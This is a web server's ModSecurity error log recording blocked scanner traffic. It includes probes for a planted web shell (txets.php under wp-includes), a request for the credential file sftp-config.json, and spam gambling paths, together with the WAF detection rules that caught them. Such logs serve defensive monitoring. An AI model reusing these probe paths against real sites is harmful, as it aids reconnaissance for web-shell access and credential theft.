[Fri Apr 03 22:30:32.136434 2026] [:error] [pid 33445:tid 33460] [client 143.20.64.97:56348] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac_PCFlRNZ0iDVmJWM0yogAAAAo"]
[Fri Apr 03 22:30:34.655698 2026] [:error] [pid 40533:tid 40542] [client 143.20.64.97:53578] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ac_PCvbIAA8AViDmwsvIewAAAUc"]
[Fri Apr 03 22:30:37.148308 2026] [:error] [pid 35469:tid 35479] [client 143.20.64.97:53594] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ac_PDaGvTIc8-wY3jUS8ggAAAQg"]
[Fri Apr 03 22:30:39.659394 2026] [:error] [pid 40533:tid 40540] [client 143.20.64.97:53602] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac_PD_bIAA8AViDmwsvIgwAAAUU"]
[Fri Apr 03 22:30:42.129384 2026] [:error] [pid 33542:tid 33552] [client 143.20.64.97:53608] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac_PEnwb6uB1LaGtepYRfwAAAMc"]
[Fri Apr 03 22:30:44.653965 2026] [:error] [pid 40562:tid 40587] [client 143.20.64.97:52078] [client 143.20.64.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ac_PFDfFMXuP9zvqCeqengAAAZY"]
[Fri Apr 03 23:01:20.987915 2026] [:error] [pid 33445:tid 33452] [client 45.92.1.144:54277] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac_WQFlRNZ0iDVmJWM1KvwAAAAI"]
[Fri Apr 03 23:01:21.474410 2026] [:error] [pid 33445:tid 33464] [client 45.92.1.144:60496] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac_WQVlRNZ0iDVmJWM1KwgAAAA4"]
[Fri Apr 03 23:01:21.957484 2026] [:error] [pid 33445:tid 33451] [client 45.92.1.144:54947] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac_WQVlRNZ0iDVmJWM1KxwAAAAE"]
[Fri Apr 03 23:01:22.933322 2026] [:error] [pid 33447:tid 33509] [client 45.92.1.144:61172] [client 45.92.1.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ac_WQkgaPmDHz92j4lNi8QAAAIU"]
[Fri Apr 03 23:33:26.863701 2026] [:error] [pid 33445:tid 33459] [client 43.157.172.39:43384] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac_dxllRNZ0iDVmJWM1jDQAAAAk"]
[Sat Apr 04 11:11:09.953673 2026] [:error] [pid 2567:tid 2593] [client 182.42.105.85:50580] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adCBTWJJmfRsTrAKjdRCrgAAANM"]
[Sat Apr 04 12:31:00.114695 2026] [:error] [pid 2567:tid 2595] [client 193.70.34.35:44020] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adCUBGJJmfRsTrAKjdRzbgAAANU"]
[Sat Apr 04 12:31:02.542293 2026] [:error] [pid 37114:tid 37140] [client 193.70.34.35:44154] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adCUBs-DnSj3fGMexeJI3AAAARg"]
[Sat Apr 04 12:31:05.084765 2026] [:error] [pid 2567:tid 2580] [client 193.70.34.35:44156] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adCUCWJJmfRsTrAKjdRzegAAAMY"]
[Sat Apr 04 12:31:07.577271 2026] [:error] [pid 2459:tid 2546] [client 193.70.34.35:44160] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adCUCwefyCmu4LR_PloGfwAAAI4"]
[Sat Apr 04 12:31:10.090866 2026] [:error] [pid 2458:tid 2521] [client 193.70.34.35:45170] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adCUDiNozic5SuWqcllT9QAAAFE"]
[Sat Apr 04 12:31:12.410852 2026] [:error] [pid 2458:tid 2511] [client 193.70.34.35:45182] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adCUECNozic5SuWqcllT-gAAAEc"]
[Sat Apr 04 12:31:14.753501 2026] [:error] [pid 37114:tid 37131] [client 193.70.34.35:45196] [client 193.70.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adCUEs-DnSj3fGMexeJJFQAAAQ8"]
[Sat Apr 04 12:43:16.896993 2026] [:error] [pid 37114:tid 37125] [client 188.27.87.68:52103] [client 188.27.87.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.87.68, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adCW5M-DnSj3fGMexeJPyQAAAQk"]
[Sat Apr 04 12:50:43.615429 2026] [:error] [pid 2567:tid 2584] [client 136.158.61.105:60505] [client 136.158.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.61.105, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adCYo2JJmfRsTrAKjdR9FQAAAMo"]
[Sat Apr 04 14:32:05.378018 2026] [:error] [pid 2458:tid 2521] [client 162.62.231.139:57648] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adCwZSNozic5SuWqcll1lgAAAFE"]
[Sat Apr 04 15:08:27.821964 2026] [:error] [pid 37114:tid 37125] [client 175.100.79.116:6841] [client 175.100.79.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "adC468-DnSj3fGMexeK0VQAAAQk"]
[Sat Apr 04 15:28:49.907209 2026] [:error] [pid 2457:tid 2495] [client 43.153.122.30:58106] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adC9sUmNHppaMd92ZpfjTwAAABI"]
[Sat Apr 04 16:19:03.384633 2026] [:error] [pid 2458:tid 2518] [client 147.135.213.172:45474] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adDJdyNozic5SuWqclmXHAAAAE4"]
[Sat Apr 04 16:19:05.825921 2026] [:error] [pid 37114:tid 37140] [client 147.135.213.172:48754] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adDJec-DnSj3fGMexeLkBQAAARg"]
[Sat Apr 04 16:19:08.359098 2026] [:error] [pid 2459:tid 2541] [client 147.135.213.172:48756] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adDJfAefyCmu4LR_PlpbaQAAAIk"]
[Sat Apr 04 16:19:10.886721 2026] [:error] [pid 2457:tid 2495] [client 147.135.213.172:48760] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adDJfkmNHppaMd92ZpfwCAAAABI"]
[Sat Apr 04 16:19:13.275304 2026] [:error] [pid 2567:tid 2582] [client 147.135.213.172:57066] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adDJgWJJmfRsTrAKjdTiJQAAAMg"]
[Sat Apr 04 16:19:15.804114 2026] [:error] [pid 2567:tid 2574] [client 147.135.213.172:57074] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adDJg2JJmfRsTrAKjdTiLQAAAMA"]
[Sat Apr 04 16:19:18.174298 2026] [:error] [pid 37114:tid 37136] [client 147.135.213.172:57084] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adDJhs-DnSj3fGMexeLkIQAAARQ"]
[Sat Apr 04 16:19:20.420819 2026] [:error] [pid 2567:tid 2579] [client 147.135.213.172:57096] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adDJiGJJmfRsTrAKjdTiOQAAAMU"]
[Sat Apr 04 16:19:22.796797 2026] [:error] [pid 2567:tid 2594] [client 147.135.213.172:55548] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adDJimJJmfRsTrAKjdTiRQAAANQ"]
[Sat Apr 04 16:19:25.360880 2026] [:error] [pid 2457:tid 2490] [client 147.135.213.172:55554] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adDJjUmNHppaMd92ZpfwGgAAAA0"]
[Sat Apr 04 16:19:27.735949 2026] [:error] [pid 2567:tid 2587] [client 147.135.213.172:55558] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adDJj2JJmfRsTrAKjdTiVwAAAM0"]
[Sat Apr 04 16:19:30.153976 2026] [:error] [pid 37114:tid 37137] [client 147.135.213.172:55574] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adDJks-DnSj3fGMexeLkQQAAARU"]
[Sat Apr 04 16:19:32.567250 2026] [:error] [pid 37114:tid 37125] [client 147.135.213.172:53028] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adDJlM-DnSj3fGMexeLkYQAAAQk"]
[Sat Apr 04 16:19:35.142789 2026] [:error] [pid 2457:tid 2489] [client 147.135.213.172:53042] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adDJl0mNHppaMd92ZpfwIgAAAAw"]
[Sat Apr 04 16:19:37.400089 2026] [:error] [pid 2459:tid 2556] [client 147.135.213.172:53048] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adDJmQefyCmu4LR_PlpbowAAAJg"]
[Sat Apr 04 16:19:39.812647 2026] [:error] [pid 2567:tid 2598] [client 147.135.213.172:53052] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adDJm2JJmfRsTrAKjdTidQAAANg"]
[Sat Apr 04 16:19:42.238376 2026] [:error] [pid 2459:tid 2545] [client 147.135.213.172:44866] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adDJngefyCmu4LR_PlpbswAAAI0"]
[Sat Apr 04 16:19:44.785535 2026] [:error] [pid 2567:tid 2576] [client 147.135.213.172:44868] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adDJoGJJmfRsTrAKjdTijgAAAMI"]
[Sat Apr 04 16:19:47.179106 2026] [:error] [pid 2458:tid 2508] [client 147.135.213.172:44872] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adDJoyNozic5SuWqclmXXgAAAEQ"]
[Sat Apr 04 16:19:49.590894 2026] [:error] [pid 2459:tid 2538] [client 147.135.213.172:44874] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adDJpQefyCmu4LR_PlpbtwAAAIY"]
[Sat Apr 04 16:19:52.004681 2026] [:error] [pid 37114:tid 37134] [client 147.135.213.172:44510] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adDJqM-DnSj3fGMexeLkmAAAARI"]
[Sat Apr 04 16:19:54.423865 2026] [:error] [pid 2458:tid 2510] [client 147.135.213.172:44526] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adDJqiNozic5SuWqclmXagAAAEY"]
[Sat Apr 04 16:19:56.986508 2026] [:error] [pid 2459:tid 2544] [client 147.135.213.172:44534] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adDJrAefyCmu4LR_PlpbxQAAAIw"]
[Sat Apr 04 16:19:59.373922 2026] [:error] [pid 2457:tid 2482] [client 147.135.213.172:44544] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adDJr0mNHppaMd92ZpfwKgAAAAU"]
[Sat Apr 04 16:20:20.432855 2026] [:error] [pid 2457:tid 2488] [client 147.135.213.172:56584] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adDJxEmNHppaMd92ZpfwVQAAAAs"]
[Sat Apr 04 16:20:22.756376 2026] [:error] [pid 2567:tid 2578] [client 147.135.213.172:43174] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adDJxmJJmfRsTrAKjdTixgAAAMQ"]
[Sat Apr 04 16:20:25.272707 2026] [:error] [pid 2459:tid 2541] [client 147.135.213.172:43178] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adDJyQefyCmu4LR_Plpb9gAAAIk"]
[Sat Apr 04 16:20:27.782042 2026] [:error] [pid 2567:tid 2584] [client 147.135.213.172:43194] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adDJy2JJmfRsTrAKjdTizAAAAMo"]
[Sat Apr 04 16:20:30.303940 2026] [:error] [pid 2567:tid 2583] [client 147.135.213.172:43198] [client 147.135.213.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adDJzmJJmfRsTrAKjdTi1AAAAMk"]
